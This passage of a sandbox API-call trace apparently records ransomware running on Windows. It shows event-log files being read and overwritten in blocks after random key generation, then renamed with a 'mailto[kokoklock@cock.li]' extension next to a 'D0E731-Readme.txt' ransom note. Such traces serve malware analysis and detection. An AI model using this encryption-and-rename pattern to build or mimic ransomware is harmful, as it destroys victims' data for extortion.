(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b318 [0061.142] NtQuerySystemTime (in: CurrentTime=0x7a2f790 | out: CurrentTime=0x7a2f790*=132121176190395393) returned 0x0 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x924e5246 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x5d710572 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x9541e2d2 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x52138e24 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xdc9af3b6 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x9d6f19de [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xdcd27a0e [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x95af3f44 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x38cf437e [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xb304140d [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x2d31fb89 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xce8645f0 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xb973e496 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x58b5054a [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x5ea9f3bb [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x8d584bef [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xe975637c [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x88ef79a5 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x9a853728 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x76e41b26 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xb8151714 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x34fe996d [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x694769d [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x5363b08b [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x96a0db1f [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xcb671f34 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x193573dc [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xcbae6f8d [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0x88bb3c30 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xdfa0fc30 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xbb4dad16 [0061.143] RtlRandom (in: Seed=0x7a2f79c | out: Seed=0x7a2f79c) returned 0xdf72db35 [0061.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.153] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0061.153] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1b0 [0061.153] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0061.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b3e0) returned 1 [0061.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.154] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.154] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.155] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0061.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b278 [0061.156] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b408 [0061.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b408) returned 1 [0061.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0061.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.156] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.156] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.156] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.157] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0061.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b228 [0061.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b228) returned 1 [0061.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b3e0 [0061.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0061.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.158] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.158] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.158] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.160] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0061.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.160] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b110) returned 1 [0061.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b408 [0061.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2f0 [0061.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2f0) returned 1 [0061.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0061.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.161] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7a2f750, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7a2f750*=0x4096, lpOverlapped=0x0) returned 1 [0061.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.161] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7a2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x347b278*, lpNumberOfBytesWritten=0x7a2f7ac*=0x20, lpOverlapped=0x0) returned 1 [0061.161] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b3e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7a2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x347b3e0*, lpNumberOfBytesWritten=0x7a2f7ac*=0x20, lpOverlapped=0x0) returned 1 [0061.161] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7a2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x347b408*, lpNumberOfBytesWritten=0x7a2f7ac*=0x20, lpOverlapped=0x0) returned 1 [0061.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.161] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b1b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x347b1b0*, lpNumberOfBytesWritten=0x7a2f7b4*=0x8, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x5c0, lpBuffer=0x7a2f7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x7a2f7cc*, lpNumberOfBytesWritten=0x7a2f7b4*=0x4, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7a2f7b4*=0x4, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7a2f7b4*=0x6c, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b458*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x347b458*, lpNumberOfBytesWritten=0x7a2f7b4*=0x20, lpOverlapped=0x0) returned 1 [0061.162] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7a2f7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7a2f7b4*=0x4, lpOverlapped=0x0) returned 1 [0061.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1b0) returned 1 [0061.162] CloseHandle (hObject=0x5c0) returned 1 [0062.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x347ae90 [0062.822] wcscpy (in: _Dest=0x347ae90, _Source="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" [0062.822] wcscat (in: _Dest=0x347ae90, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0062.822] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.823] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ae90) returned 1 [0062.823] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0062.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433f68 [0062.823] wcscpy (in: _Dest=0x3433f68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.823] wcscat (in: _Dest=0x3433f68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.823] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433f68) returned 1 [0062.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3a40) returned 1 [0062.823] RtlExitUserThread (Status=0x1) Thread: id = 93 os_tid = 0xc04 [0061.188] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0061.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.188] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.188] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7aaf768 | out: lpFileSize=0x7aaf768*=69632) returned 1 [0061.188] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.188] ReadFile (in: hFile=0x5b4, lpBuffer=0x7aaf73c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x7aaf73c*, lpNumberOfBytesRead=0x7aaf738*=0x4, lpOverlapped=0x0) returned 1 [0061.190] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b430 [0061.190] NtQuerySystemTime (in: CurrentTime=0x7aaf714 | out: CurrentTime=0x7aaf714*=132121176190874862) returned 0x0 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xa070b138 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xd19a49e3 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x967cc813 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x5d93944a [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x8733f5ec [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xb569f248 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xd2699fe1 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x402da1d7 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x32aa4a08 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x13eec18e [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x9c336075 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x2d89e953 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xa54af6cd [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xcbc9d2f7 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xc4e8d99a [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xb1fba0ad [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x441299d8 [0061.190] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x1dfc294b [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x7adad3b8 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xad84f607 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x70dde1ea [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x7f075259 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xc90b6f8d [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x90c9b2cc [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x35fdc07c [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x1b7adf8e [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xd4f39548 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0xcd251e39 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x2550992d [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x393979f4 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x230b9396 [0061.191] RtlRandom (in: Seed=0x7aaf720 | out: Seed=0x7aaf720) returned 0x717d81a3 [0061.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4a8 [0061.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.202] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.202] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7aaf6ec, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7aaf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0061.202] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4d0 [0061.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4f8 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4f8) returned 1 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.203] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7aaf6ec, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7aaf6ec*=0x4096, lpOverlapped=0x0) returned 1 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.203] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.203] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b4d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7aaf724, lpOverlapped=0x0 | out: lpBuffer=0x347b4d0*, lpNumberOfBytesWritten=0x7aaf724*=0x20, lpOverlapped=0x0) returned 1 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4d0) returned 1 [0061.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b4a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x347b4a8*, lpNumberOfBytesWritten=0x7aaf738*=0x8, lpOverlapped=0x0) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x7aaf750*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x7aaf750*, lpNumberOfBytesWritten=0x7aaf738*=0x4, lpOverlapped=0x0) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7aaf738*=0x4, lpOverlapped=0x0) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7aaf738*=0x6c, lpOverlapped=0x0) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x7aaf738*=0x20, lpOverlapped=0x0) returned 1 [0061.204] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7aaf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7aaf738*=0x4, lpOverlapped=0x0) returned 1 [0061.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b4a8) returned 1 [0061.204] CloseHandle (hObject=0x5b4) returned 1 [0061.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x341e0b8 [0061.207] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" [0061.207] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0061.207] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.207] SetFileAttributesW 